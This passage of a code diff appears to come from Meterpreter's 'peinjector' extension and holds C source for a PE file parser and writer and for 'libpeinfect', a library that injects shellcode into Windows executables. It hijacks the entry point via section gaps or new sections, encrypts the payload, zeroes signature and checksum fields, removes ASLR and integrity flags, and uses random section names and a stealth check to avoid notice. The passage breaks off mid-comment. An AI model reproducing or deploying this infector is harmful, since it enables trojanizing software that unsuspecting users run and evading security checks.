if (in->additional_data[i].mem != NULL) {
|
||||
memcpy(*mem + in->additional_data[i].position, in->additional_data[i].mem, in->additional_data[i].memsize);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Header Only */
|
||||
if (options != NULL && options->header_only) {
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Write Section Data */
|
||||
if (in->section_data != NULL) {
|
||||
for (i = 0; i < in->pe_header.NumberOfSections; ++i) {
|
||||
if (in->section_data[i].mem != NULL) {
|
||||
memcpy(*mem + in->section_header[i].PointerToRawData, in->section_data[i].mem,
|
||||
MIN(in->section_data[i].memsize, in->section_header[i].SizeOfRawData));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Recalculate checksum if forced & OptionalHeader is large enough*/
|
||||
if ((options != NULL)
|
||||
&& (in->pe_header.SizeOfOptionalHeader > offsetof(OPTIONAL_HEADER_32, CheckSum) + sizeof(uint32_t))
|
||||
&& options->recaluclate_checksum) {
|
||||
|
||||
/* Position of CheckSum (32/64 Bit position is equal) */
|
||||
position = in->dos_header.e_lfanew + sizeof(PE_HEADER) + offsetof(OPTIONAL_HEADER_32, CheckSum);
|
||||
|
||||
/* Calculate checksum for Image */
|
||||
for (i = 0; i < *memsize; i += 4) {
|
||||
if (i == position) {
|
||||
continue;
|
||||
}
|
||||
checksum = (checksum & 0xffffffff) + *(uint32_t *) (*mem + i) + (checksum >> 32);
|
||||
if (checksum > top) {
|
||||
checksum = (checksum & 0xffffffff) + (checksum >> 32);
|
||||
}
|
||||
}
|
||||
checksum = (checksum & 0xffff) + (checksum >> 16);
|
||||
checksum = (checksum) + (checksum >> 16);
|
||||
checksum = checksum & 0xffff;
|
||||
checksum += *memsize;
|
||||
|
||||
/* Write checksum*/
|
||||
*(uint32_t *) (*mem + position) = checksum;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool pefile_write_file(PEFILE *in, PEFILE_WRITE_OPTIONS *options, char* file) {
|
||||
bool returnVar = false;
|
||||
unsigned char *mem = NULL;
|
||||
unsigned char **mem_ref = (unsigned char **) &mem;
|
||||
size_t memsize = 0;
|
||||
|
||||
/* Open file */
|
||||
FILE *fh = fopen(file, "wb");
|
||||
|
||||
if (fh != NULL) {
|
||||
|
||||
/* Generate PE File memory */
|
||||
if (pefile_write_mem(in, options, mem_ref, &memsize)) {
|
||||
|
||||
/* Write to file and verify size */
|
||||
returnVar = (fwrite(mem, memsize, 1, fh) == 1) ? true : false;
|
||||
|
||||
/* Free memory */
|
||||
free(mem);
|
||||
}
|
||||
|
||||
/* Close file */
|
||||
fclose(fh);
|
||||
}
|
||||
|
||||
return returnVar;
|
||||
}
|
||||
|
||||
void pefile_free(PEFILE *in) {
|
||||
size_t i = 0;
|
||||
|
||||
/* Free DOS stub */
|
||||
if (in->dos_stub.mem != NULL) {
|
||||
free(in->dos_stub.mem);
|
||||
}
|
||||
|
||||
/* Free Optional Header Gap */
|
||||
if (in->optional_header_gap.mem != NULL) {
|
||||
free(in->optional_header_gap.mem);
|
||||
}
|
||||
|
||||
/* Free Section Header */
|
||||
if (in->section_header != NULL) {
|
||||
free(in->section_header);
|
||||
}
|
||||
|
||||
/* Free Header padding */
|
||||
if (in->header_padding.mem != NULL) {
|
||||
free(in->header_padding.mem);
|
||||
}
|
||||
|
||||
/* Free Section data */
|
||||
if (in->section_data != NULL) {
|
||||
for (i = 0; i < in->pe_header.NumberOfSections; ++i) {
|
||||
if (in->section_data[i].mem != NULL) {
|
||||
free(in->section_data[i].mem);
|
||||
}
|
||||
}
|
||||
free(in->section_data);
|
||||
}
|
||||
|
||||
/* Free additional data*/
|
||||
if (in->additional_count && (in->additional_data != NULL)) {
|
||||
for (i = 0; i < in->additional_count; ++i) {
|
||||
if (in->additional_data[i].mem != NULL) {
|
||||
free(in->additional_data[i].mem);
|
||||
}
|
||||
}
|
||||
free(in->additional_data);
|
||||
}
|
||||
|
||||
/* Zero structure */
|
||||
memset(in, 0, sizeof(PEFILE));
|
||||
}
|
||||
|
||||
uint16_t get_file_architecture(char * target_executable_path) {
|
||||
|
||||
PEFILE mype;
|
||||
pefile_init(&mype);
|
||||
|
||||
PEFILE_READ_OPTIONS read_options;
|
||||
read_options.header_only = true;
|
||||
|
||||
if (pefile_read_file(target_executable_path, &read_options, &mype)) {
|
||||
return mype.pe_header.Machine;
|
||||
}
|
||||
|
||||
}
|
129
c/meterpreter/source/extensions/peinjector/libpefile.h
Executable file
129
c/meterpreter/source/extensions/peinjector/libpefile.h
Executable file
@ -0,0 +1,129 @@
|
||||
/**
|
||||
* \file libpefile.h
|
||||
* \brief Manages disassembly and reassembly of the PE COFF File Format
|
||||
*/
|
||||
|
||||
#ifndef LIBPEFILE_H_
|
||||
#define LIBPEFILE_H_
|
||||
|
||||
#include <stdbool.h>
|
||||
#include "headers.h"
|
||||
|
||||
/**
|
||||
* Hold binary data in pefile structure
|
||||
*/
|
||||
typedef struct _DATA_BLOB {
|
||||
unsigned char *mem; //!< Pointer to memory
|
||||
size_t memsize; //!< Size of memory
|
||||
} DATA_BLOBC;
|
||||
|
||||
/**
|
||||
* Hold binary data and position in pefile structure
|
||||
*/
|
||||
typedef struct _DATA_BLOB_EX {
|
||||
unsigned char *mem; //!< Pointer to memory
|
||||
size_t memsize; //!< Size of memory
|
||||
size_t position; //!< Position of memory
|
||||
} DATA_BLOB_EX;
|
||||
|
||||
/**
|
||||
* PE File Format
|
||||
*/
|
||||
typedef struct _PEFILE {
|
||||
DOS_HEADER dos_header; //!< DOS Header
|
||||
PE_HEADER pe_header; //!< PE Header
|
||||
DATA_BLOBC dos_stub; //!< DOS Stub Program
|
||||
OPTIONAL_HEADER_32 optional_header_32; //!< Optional Header, 32 Bit
|
||||
OPTIONAL_HEADER_64 optional_header_64; //!< Optional Header, 64 Bit
|
||||
DATA_BLOBC optional_header_gap; //!< Gap between Optional Header and Section Headers, rare.
|
||||
SECTION_HEADER *section_header; //!< Section Headers
|
||||
DATA_BLOBC *section_data; //!< Section data
|
||||
DATA_BLOB_EX header_padding; //!< Padding between Headers and Section data
|
||||
DATA_BLOB_EX *additional_data; //!< Additional binary data inside PE File
|
||||
size_t additional_count; //!< Additional binary data count
|
||||
} PEFILE;
|
||||
|
||||
/**
|
||||
* Options for writing PE files
|
||||
*/
|
||||
typedef struct _PEFILE_WRITE_OPTIONS {
|
||||
bool recaluclate_checksum; //!< Recalculate Image Checksum after writing
|
||||
bool header_only; //!< Writes header only
|
||||
bool force_additional; //!< Forces writing of additional data (only in combination with header_only)
|
||||
} PEFILE_WRITE_OPTIONS;
|
||||
|
||||
/**
|
||||
* Options for reading PE files
|
||||
*/
|
||||
typedef struct _PEFILE_READ_OPTIONS {
|
||||
bool header_only; //!< Analyzes header only
|
||||
bool force_additional; //!< Forces reading of additional data (only in combination with header_only)
|
||||
} PEFILE_READ_OPTIONS;
|
||||
|
||||
/**
|
||||
* Initializes PEFILE structure
|
||||
*
|
||||
*/
|
||||
void pefile_init(PEFILE *in);
|
||||
|
||||
/**
|
||||
* Parses PE File data from memory
|
||||
*
|
||||
* \param mem Input memory
|
||||
* \param memsize Input memory size
|
||||
* \param options Options for reading, Ignored if NULL
|
||||
* \param out Output PEFILE structure
|
||||
*
|
||||
* \return true on success, false otherwise
|
||||
*/
|
||||
bool pefile_read_mem(unsigned char *mem, size_t memsize, PEFILE_READ_OPTIONS *options, PEFILE *out);
|
||||
|
||||
/**
|
||||
* Parses PE File data from files
|
||||
*
|
||||
* \param file Input file
|
||||
* \param options Options for reading, Ignored if NULL
|
||||
* \param out Output PEFILE structure
|
||||
*
|
||||
* \return true on success, false otherwise
|
||||
*/
|
||||
bool pefile_read_file(char *file, PEFILE_READ_OPTIONS *options, PEFILE *out);
|
||||
|
||||
/**
|
||||
* Writes PE File data to memory
|
||||
*
|
||||
* \param in Input PEFILE structure
|
||||
* \param options Options for writing, Ignored if NULL
|
||||
* \param mem Output memory
|
||||
* \param memsize Output memory size
|
||||
*
|
||||
* \return true on success, false otherwise
|
||||
*/
|
||||
bool pefile_write_mem(PEFILE *in, PEFILE_WRITE_OPTIONS *options, unsigned char **mem, size_t *memsize);
|
||||
|
||||
/**
|
||||
* Writes PE File data to files
|
||||
*
|
||||
* \param in Input PEFILE structure
|
||||
* \param options Options for writing, Ignored if NULL
|
||||
* \param file Output file
|
||||
*
|
||||
* \return true on success, false otherwise
|
||||
*/
|
||||
bool pefile_write_file(PEFILE *in, PEFILE_WRITE_OPTIONS *options, char* file);
|
||||
|
||||
/**
|
||||
* Clears PEFILE structure
|
||||
*
|
||||
* \param in Input PEFILE structure
|
||||
*/
|
||||
void pefile_free(PEFILE *in);
|
||||
|
||||
/**
|
||||
* Get PEFILE architecture
|
||||
*
|
||||
* \param file Input file
|
||||
*/
|
||||
uint16_t get_file_architecture(char * target_executable_path);
|
||||
|
||||
#endif /* LIBPEFILE_H_ */
|
819
c/meterpreter/source/extensions/peinjector/libpeinfect.c
Executable file
819
c/meterpreter/source/extensions/peinjector/libpeinfect.c
Executable file
@ -0,0 +1,819 @@
|
||||
/*
|
||||
* \file libpeinfect.c
|
||||
* \brief Infects a PE File with a given payload
|
||||
*/
|
||||
|
||||
#include <time.h>
|
||||
#include <stdlib.h>
|
||||
#include "libpeinfect.h"
|
||||
#include "libpeinfect_obfuscator.h"
|
||||
|
||||
/* Min/Max Macros */
|
||||
#define MIN(_a, _b) ((_a) < (_b) ? (_a) : (_b))
|
||||
#define MAX(_a, _b) ((_a) > (_b) ? (_a) : (_b))
|
||||
|
||||
/* Executable Section */
|
||||
#define EXECUTABLE_CHARACTERISTICS (IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE)
|
||||
|
||||
/* Patch Helper structure (INTERNAL USE ONLY) */
|
||||
typedef struct _PATCH_HELPER {
|
||||
size_t infected_section; // Infected section
|
||||
size_t old_rawsize; // Old rawsize of section
|
||||
size_t old_virtualsize; // Old virtualsize of section
|
||||
size_t old_rawheadersize; // Old size of raw header
|
||||
size_t old_headerpaddingsize; // Old size of header padding
|
||||
size_t method; // Method used
|
||||
struct _PATCH_HELPER *jmp; // Cross section jmp
|
||||
unsigned char *jmp_code; // Cross section jmp shellcode
|
||||
size_t jmpsize; // Cross section jmp size
|
||||
} PATCH_HELPER;
|
||||
|
||||
|
||||
/* Checks if it's safe to infect file */
|
||||
static bool __peinfect_check_stealth(PEINFECT *in_infect, PEFILE *in_pe) {
|
||||
uint32_t i = 0;
|
||||
if (!in_infect->try_stealth) {
|
||||
return true;
|
||||
}
|
||||
|
||||
/* .ndata section (NSIS Installer) */
|
||||
for (i = 0; i < in_pe->pe_header.NumberOfSections; ++i) {
|
||||
if (strcmp((char *)&in_pe->section_header[i].Name, ".ndata") == 0) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Clean Header fields (ASLR, Checksum, Signature DataDir, ...) */
|
||||
static void __peinfect_clean_header(PEINFECT *in, PEFILE *out) {
|
||||
/* 32 bit */
|
||||
if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
|
||||
out->optional_header_32.CheckSum = 0x00; /* Zero Checksum */
|
||||
out->optional_header_32.DataDirectory[DIR_SECURITY].Size = 0x00; /* Zero Signature */
|
||||
out->optional_header_32.DataDirectory[DIR_SECURITY].VirtualAddress = 0x00; /* Zero Signature */
|
||||
out->optional_header_32.DllCharacteristics &= ~IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE; /* Remove ASLR Flag*/
|
||||
out->optional_header_32.DllCharacteristics &= ~IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY; /* Remove Force Integrity Check */
|
||||
|
||||
/* 64 bit */
|
||||
}
|
||||
else {
|
||||
out->optional_header_64.CheckSum = 0x00; /* Zero Checksum */
|
||||
out->optional_header_64.DataDirectory[DIR_SECURITY].Size = 0x00; /* Zero Signature */
|
||||
out->optional_header_64.DataDirectory[DIR_SECURITY].VirtualAddress = 0x00; /* Zero Signature */
|
||||
out->optional_header_64.DllCharacteristics &= ~IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE; /* Remove ASLR Flag */
|
||||
out->optional_header_64.DllCharacteristics &= ~IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY; /* Remove Force Integrity Check */
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
/* Build payload from pre-configured and add return to OEP */
|
||||
static unsigned char * __peinfect_build_payload(PEINFECT *in_infect, PEFILE *in_pe, size_t *payloadsize) {
|
||||
unsigned char *returncode = NULL;
|
||||
size_t returnsize = 0;
|
||||
unsigned char *payload = NULL;
|
||||
unsigned char *payload_encrypted = NULL;
|
||||
uint32_t i = 0;
|
||||
|
||||
/* Build return code */
|
||||
returncode = peinfect_obfuscator_build_ep_jmp(in_pe, &returnsize);
|
||||
if (returncode == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* 32 bit */
|
||||
if (in_pe->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
|
||||
/* payload present? */
|
||||
if (in_infect->shellcode_x86 == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
*payloadsize = in_infect->shellcode_x86size + returnsize;
|
||||
|
||||
/* Allocate memory for payload and return */
|
||||
payload = (unsigned char *)malloc(*payloadsize);
|
||||
if (payload == NULL) {
|
||||
free(returncode);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Copy shellcode */
|
||||
memcpy(payload, in_infect->shellcode_x86, in_infect->shellcode_x86size);
|
||||
/* Copy return code */
|
||||
memcpy(payload + in_infect->shellcode_x86size, returncode, returnsize);
|
||||
|
||||
/* 64 bit */
|
||||
}
|
||||
else {
|
||||
/* payload present? */
|
||||
if (in_infect->shellcode_x64 == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
*payloadsize = in_infect->shellcode_x64size + returnsize;
|
||||
|
||||
/* Allocate memory for payload and return */
|
||||
payload = (unsigned char *)malloc(*payloadsize);
|
||||
if (payload == NULL) {
|
||||
free(returncode);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Copy shellcode */
|
||||
memcpy(payload, in_infect->shellcode_x64, in_infect->shellcode_x64size);
|
||||
/* Copy return code */
|
||||
memcpy(payload + in_infect->shellcode_x64size, returncode, returnsize);
|
||||
}
|
||||
|
||||
/* Free return code */
|
||||
free(returncode);
|
||||
|
||||
/* Encode payload */
|
||||
if (in_infect->encrypt) {
|
||||
/* Iterative encoding */
|
||||
for (i = 0; i < in_infect->encrypt_iterations; ++i) {
|
||||
/* Try to encode */
|
||||
payload_encrypted = peinfect_obfuscator_encrypt_payload(payload, *payloadsize, &returnsize,
|
||||
!(in_pe->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC));
|
||||
if (payload_encrypted != NULL) {
|
||||
free(payload);
|
||||
payload = payload_encrypted;
|
||||
*payloadsize = returnsize;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return payload;
|
||||
}
|
||||
|
||||
/* Generates random section name */
|
||||
static void __peinfect_random_sectionname(char *mem, size_t memsize) {
|
||||
size_t rnd;
|
||||
|
||||
/* Nothing to do */
|
||||
if (mem == NULL || memsize == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
mem[0] = '.';
|
||||
/* Fill with random AlphaNumerics*/
|
||||
while (--memsize != 0) {
|
||||
rnd = rand() % 3;
|
||||
if (rnd == 1) { /* 0 - 9*/
|
||||
mem[memsize] = 0x30 + rand() % 10;
|
||||
}
|
||||
else if (rnd == 2) { /* A - Z */
|
||||
mem[memsize] = 0x41 + rand() % 26;
|
||||
}
|
||||
else { /* a - z */
|
||||
mem[memsize] = 0x61 + rand() % 26;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Try infecting using alignment gap */
|
||||
static int __peinfect_infect_alignment(PEINFECT *in, unsigned char *payload, size_t payloadsize,
|
||||
PATCH_HELPER *helper, int no_use_section, PEFILE *out) {
|
||||
size_t i;
|
||||
uint32_t ep;
|
||||
uint32_t old_virtsize;
|
||||
uint32_t old_rawsize;
|
||||
|
||||
/* Method allowed? */
|
||||
if (!(in->methods & METHOD_ALIGNMENT)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Clear helper structure */
|
||||
if (helper != NULL) {
|
||||
memset(helper, 0, sizeof(PATCH_HELPER));
|
||||
}
|
||||
|
||||
/* Need Entry Point */
|
||||
if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
|
||||
if (out->optional_header_32.AddressOfEntryPoint == 0) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (out->optional_header_64.AddressOfEntryPoint == 0) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
for (i = 0; i < out->pe_header.NumberOfSections; ++i) {
|
||||
/* Don't use this section */
|
||||
if (no_use_section == (int)i) {
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Section is Executable */
|
||||
if ((in->methods & METHOD_CHANGE_FLAGS)
|
||||
|| ((out->section_header[i].Characteristics & IMAGE_SCN_CNT_CODE)
|
||||
&& (out->section_header[i].Characteristics & IMAGE_SCN_MEM_READ)
|
||||
&& (out->section_header[i].Characteristics & IMAGE_SCN_MEM_WRITE)
|
||||
&& (out->section_header[i].Characteristics & IMAGE_SCN_MEM_EXECUTE))) {
|
||||
|
||||
/* Size Available */
|
||||
if ((out->section_header[i].SizeOfRawData > out->section_header[i].Misc.VirtualSize)
|
||||
&& ((out->section_header[i].SizeOfRawData - out->section_header[i].Misc.VirtualSize) >= payloadsize)) {
|
||||
|
||||
/* New Entry Point */
|
||||
ep = out->section_header[i].VirtualAddress + out->section_header[i].Misc.VirtualSize;
|
||||
old_virtsize = out->section_header[i].Misc.VirtualSize;
|
||||
old_rawsize = out->section_header[i].SizeOfRawData;
|
||||
|
||||
/* Save helper data for patch */
|
||||
if (helper != NULL) {
|
||||
helper->infected_section = i;
|
||||
helper->old_virtualsize = old_virtsize;
|
||||
helper->old_rawsize = old_rawsize;
|
||||
helper->method = METHOD_ALIGNMENT;
|
||||
}
|
||||
|
||||
/* Update Section */
|
||||
if (petool_resize_section(i, old_rawsize, old_virtsize + payloadsize, (helper != NULL), out)) {
|
||||
/* Copy payload in position */
|
||||
if (helper == NULL) {
|
||||
memcpy(out->section_data[i].mem + old_virtsize, payload, payloadsize);
|
||||
}
|
||||
|
||||
/* Set new EntryPoint */
|
||||
if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
|
||||
out->optional_header_32.AddressOfEntryPoint = ep;
|
||||
}
|
||||
else {
|
||||
out->optional_header_64.AddressOfEntryPoint = ep;
|
||||
}
|
||||
|
||||
/* Change flags if needed */
|
||||
if (in->methods & METHOD_CHANGE_FLAGS) {
|
||||
out->section_header[i].Characteristics |= EXECUTABLE_CHARACTERISTICS;
|
||||
}
|
||||
|
||||
/* Infect OK */
|
||||
return i + 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* :( */
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Try infecting using alignment gap and resize */
|
||||
static int __peinfect_infect_alignment_resize(PEINFECT *in, unsigned char *payload, size_t payloadsize,
|
||||
PATCH_HELPER *helper, int no_use_section, PEFILE *out) {
|
||||
size_t i;
|
||||
uint32_t ep;
|
||||
uint32_t old_virtsize;
|
||||
uint32_t old_rawsize;
|
||||
uint32_t rawsize_delta;
|
||||
|
||||
/* Method allowed? */
|
||||
if (!(in->methods & METHOD_ALIGNMENT_RESIZE)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Clear helper structure */
|
||||
if (helper != NULL) {
|
||||
memset(helper, 0, sizeof(PATCH_HELPER));
|
||||
}
|
||||
|
||||
/* Need Entry Point */
|
||||
if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
|
||||
if (out->optional_header_32.AddressOfEntryPoint == 0) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (out->optional_header_64.AddressOfEntryPoint == 0) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
for (i = 0; i < out->pe_header.NumberOfSections; ++i) {
|
||||
/* Don't use this section */
|
||||
if (no_use_section == (int)i) {
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Section is Executable */
|
||||
if ((in->methods & METHOD_CHANGE_FLAGS)
|
||||
|| ((out->section_header[i].Characteristics & IMAGE_SCN_CNT_CODE)
|
||||
&& (out->section_header[i].Characteristics & IMAGE_SCN_MEM_READ)
|
||||
&& (out->section_header[i].Characteristics & IMAGE_SCN_MEM_WRITE)
|
||||
&& (out->section_header[i].Characteristics & IMAGE_SCN_MEM_EXECUTE))) {
|
||||
|
||||
/* Size Available */
|
||||
if ((out->section_header[i].SizeOfRawData > out->section_header[i].Misc.VirtualSize)
|
||||
&& (((i + 1) >= out->pe_header.NumberOfSections)
|
||||
|| ((out->section_header[i + 1].VirtualAddress
|
||||
- (out->section_header[i].VirtualAddress + out->section_header[i].Misc.VirtualSize)) >= payloadsize))) {
|
||||
|
||||
/* New Entry Point */
|
||||
ep = out->section_header[i].VirtualAddress + out->section_header[i].Misc.VirtualSize;
|
||||
old_virtsize = out->section_header[i].Misc.VirtualSize;
|
||||
old_rawsize = out->section_header[i].SizeOfRawData;
|
||||
|
||||
/* New Space needed */
|
||||
rawsize_delta = payloadsize - (old_rawsize - old_virtsize);
|
||||
|
||||
/* Save helper data for patch */
|
||||
if (helper != NULL) {
|
||||
helper->infected_section = i;
|
||||
helper->old_virtualsize = old_virtsize;
|
||||
helper->old_rawsize = old_rawsize;
|
||||
helper->method = METHOD_ALIGNMENT_RESIZE;
|
||||
}
|
||||
|
||||
/* Update Section */
|
||||
if (petool_resize_section(i, old_rawsize + rawsize_delta, old_virtsize + payloadsize, (helper != NULL), out)) {
|
||||
|
||||
/* Copy payload in position */
|
||||
if (helper == NULL) {
|
||||
memcpy(out->section_data[i].mem + old_virtsize, payload, payloadsize);
|
||||
}
|
||||
|
||||
/* Set new EntryPoint */
|
||||
if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
|
||||
out->optional_header_32.AddressOfEntryPoint = ep;
|
||||
}
|
||||
else {
|
||||
out->optional_header_64.AddressOfEntryPoint = ep;
|
||||
}
|
||||
|
||||
/* Change flags if needed */
|
||||
if (in->methods & METHOD_CHANGE_FLAGS) {
|
||||
out->section_header[i].Characteristics |= EXECUTABLE_CHARACTERISTICS;
|
||||
}
|
||||
|
||||
/* Infect OK */
|
||||
return i + 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* :( */
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Try infecting inserting new section */
|
||||
static int __peinfect_infect_new_section(PEINFECT *in, unsigned char *payload, size_t payloadsize,
|
||||
PATCH_HELPER *helper, int no_use_section, PEFILE *out) {
|
||||
int returnVar = false;
|
||||
char *section_name = NULL;
|
||||
size_t section_namesize = 0;
|
||||
char rnd_sectionname[NT_SHORT_NAME_LEN] = { 0 };
|
||||
|
||||
/* Method allowed? */
|
||||
if (!(in->methods & METHOD_NEW_SECTION)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Clear helper structure */
|
||||
if (helper != NULL) {
|
||||
memset(helper, 0, sizeof(PATCH_HELPER));
|
||||
}
|
||||
|
||||
/* Need Entry Point */
|
||||
if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
|
||||
if (out->optional_header_32.AddressOfEntryPoint == 0) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (out->optional_header_64.AddressOfEntryPoint == 0) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/* Save helper data for patch */
|
||||
if (helper != NULL) {
|
||||
helper->old_rawheadersize = out->dos_header.e_lfanew + sizeof(PE_HEADER) + out->pe_header.SizeOfOptionalHeader
|
||||
+ out->pe_header.NumberOfSections * sizeof(SECTION_HEADER) + out->header_padding.memsize;
|
||||
helper->old_headerpaddingsize = out->header_padding.memsize;
|
||||
}
|
||||
|
||||
/* Random section name? */
|
||||
if (in->rnd_sectionname) {
|
||||
section_namesize = (NT_SHORT_NAME_LEN / 2) + rand() % (NT_SHORT_NAME_LEN / 2 + 1);
|
||||
__peinfect_random_sectionname(rnd_sectionname, section_namesize);
|
||||
section_name = rnd_sectionname;
|
||||
}
|
||||
else {
|
||||
section_name = in->section_name;
|
||||
section_namesize = in->section_namesize;
|
||||
}
|
||||
|
||||
/* Try add section */
|
||||
if (petool_add_section(section_name, section_namesize, EXECUTABLE_CHARACTERISTICS, payload, payloadsize,
|
||||
(helper != NULL), out)) {
|
||||
/* New Entry Point*/
|
||||
if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
|
||||
out->optional_header_32.AddressOfEntryPoint =
|
||||
out->section_header[out->pe_header.NumberOfSections - 1].VirtualAddress;
|
||||
}
|
||||
else {
|
||||
out->optional_header_64.AddressOfEntryPoint =
|
||||
out->section_header[out->pe_header.NumberOfSections - 1].VirtualAddress;
|
||||
}
|
||||
|
||||
/* Save helper data for patch */
|
||||
if (helper != NULL) {
|
||||
helper->infected_section = out->pe_header.NumberOfSections - 1;
|
||||
helper->method = METHOD_NEW_SECTION;
|
||||
}
|
||||
|
||||
returnVar = out->pe_header.NumberOfSections;
|
||||
}
|
||||
|
||||
return returnVar;
|
||||
}
|
||||
|
||||
/* Try infecting using hidden jmp method */
|
||||
static bool __peinfect_infect_cross_section_jmp(PEINFECT *in, unsigned char *payload, size_t payloadsize,
|
||||
PATCH_HELPER *helper, int no_use_section, PEFILE *out) {
|
||||
size_t jmpsize = 0;
|
||||
uint32_t section = 0;
|
||||
uint32_t jmp_section = 0;
|
||||
PATCH_HELPER *jmp_helper = NULL;
|
||||
size_t i = 0;
|
||||
unsigned char *jmp_payload = NULL;
|
||||
|
||||
/* Method allowed? */
|
||||
if (!(in->methods & METHOD_CROSS_SECTION_JUMP)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Clear helper structure */
|
||||
if (helper != NULL) {
|
||||
memset(helper, 0, sizeof(PATCH_HELPER));
|
||||
}
|
||||
|
||||
/* Need Entry Point */
|
||||
if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
|
||||
if (out->optional_header_32.AddressOfEntryPoint == 0) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (out->optional_header_64.AddressOfEntryPoint == 0) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/* Infect normal */
|
||||
if (!((section = __peinfect_infect_alignment(in, payload, payloadsize, helper, no_use_section, out)) || (section =
|
||||
__peinfect_infect_alignment_resize(in, payload, payloadsize, helper, no_use_section, out)) || (section =
|
||||
__peinfect_infect_new_section(in, payload, payloadsize, helper, no_use_section, out)))) {
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Insert jumps */
|
||||
for (i = 0; i < in->jump_iterations; ++i) {
|
||||
|
||||
/* Build jmp */
|
||||
jmp_payload = peinfect_obfuscator_build_ep_jmp(out, &jmpsize);
|
||||
|
||||
/* Exit, no JMP shellcode */
|
||||
if (jmp_payload == NULL) {
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Build jmp helper struct if needed */
|
||||
if (helper != NULL) {
|
||||
jmp_helper = malloc(sizeof(PATCH_HELPER));
|
||||
if (jmp_helper == NULL) {
|
||||
free(jmp_payload);
|
||||
return true;
|
||||
}
|
||||
memset(jmp_helper, 0, sizeof(PATCH_HELPER));
|
||||
}
|
||||
|
||||
/* Inject jmp in another section*/
|
||||
if (!((jmp_section = __peinfect_infect_alignment(in, jmp_payload, jmpsize, jmp_helper, section - 1, out))
|
||||
|| (jmp_section = __peinfect_infect_new_section(in, jmp_payload, jmpsize, jmp_helper, section - 1, out)))) {
|
||||
free(jmp_payload);
|
||||
if (jmp_helper != NULL) {
|
||||
free(jmp_helper);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
section = jmp_section;
|
||||
|
||||
/* Safe jmp payload */
|
||||
if (helper != NULL) {
|
||||
helper->jmp = jmp_helper;
|
||||
jmp_helper->jmp_code = jmp_payload;
|
||||
jmp_helper->jmpsize = jmpsize;
|
||||
helper = jmp_helper;
|
||||
}
|
||||
else {
|
||||
/* Free tmp payload */
|
||||
free(jmp_payload);
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void peinfect_init(PEINFECT *out) {
|
||||
memset(out, 0, sizeof(PEINFECT));
|
||||
|
||||
/* For the glory of beelzebub and random section names */
|
||||
srand(time(NULL));
|
||||
|
||||
/* Allow all methods, except METHOD_CROSS_SECTION_JUMP */
|
||||
out->methods = METHOD_NEW_SECTION; //METHOD_ALL & ~METHOD_CROSS_SECTION_JUMP; //VERIFY THIS
|
||||
|
||||
/* Remove integrity checks */
|
||||
out->remove_integrity = true;
|
||||
|
||||
/* Random section names */
|
||||
out->rnd_sectionname = true;
|
||||
|
||||
/* Cross section jump interations */
|
||||
out->jump_iterations = 1;
|
||||
|
||||
/* Encrypt shellcode */
|
||||
out->encrypt = true;
|
||||
|
||||
/* Encryption iterations */
|
||||
out->encrypt_iterations = 1;
|
||||
|
||||
/* Try to be stealthy */
|
||||
out->try_stealth = true;
|
||||
}
|
||||
|
||||
void peinfect_set_sectionname(char *section_name, size_t section_namesize, bool random, PEINFECT *out) {
|
||||
|
||||
char *old_section_name = NULL;
|
||||
|
||||
/* Remove old section name */
|
||||
if (out->section_name != NULL) {
|
||||
/* Don't free here so that the swap is an atomic operation
|
||||
and it's possible to change section name while it's used
|
||||
in another thread for infection without the possibility of
|
